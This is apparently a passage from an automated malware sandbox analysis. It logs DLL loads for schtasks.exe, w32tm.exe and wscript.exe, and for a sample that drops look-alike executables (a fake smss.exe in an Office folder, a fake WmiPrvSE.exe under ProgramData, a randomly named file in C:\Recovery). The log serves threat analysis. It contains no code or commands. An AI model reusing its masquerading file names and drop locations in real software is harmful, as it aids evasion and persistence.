Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: logoncli.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\w32tm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: mscoree.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: version.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: wldp.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: profapi.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: apphelp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: mscoree.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: wldp.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: amsi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: userenv.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: propsys.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: edputil.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: netutils.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: policymanager.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wintypes.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: appresolver.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: slc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sppc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ntmarta.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasman.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: amsi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: userenv.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wbemcomn.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dnsapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: dhcpcsvc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: winnsi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: propsys.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: edputil.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: urlmon.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: iertutil.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: srvcli.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: netutils.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasapi32.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasman.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rtutils.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: policymanager.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: msvcp110_win.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wintypes.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mswsock.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: winhttp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: appresolver.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: bcp47langs.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: slc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sppc.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rasadhlp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ntmarta.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: mscoree.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: kernel.appcore.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: version.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: uxtheme.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: windows.storage.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: wldp.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: profapi.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptsp.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: rsaenh.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: cryptbase.dll
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: mscoree.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: version.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: uxtheme.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: windows.storage.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: wldp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: profapi.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptsp.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: rsaenh.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: cryptbase.dll
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Microsoft Office 15\ClientX64\69ddcba757bf72	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\fuBYljHeUjtkgvlnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Directory created: C:\Program Files\Windows Mail\c321b7ff01a2d7	Jump to behavior

Source: 2RM12KtuNp.exe

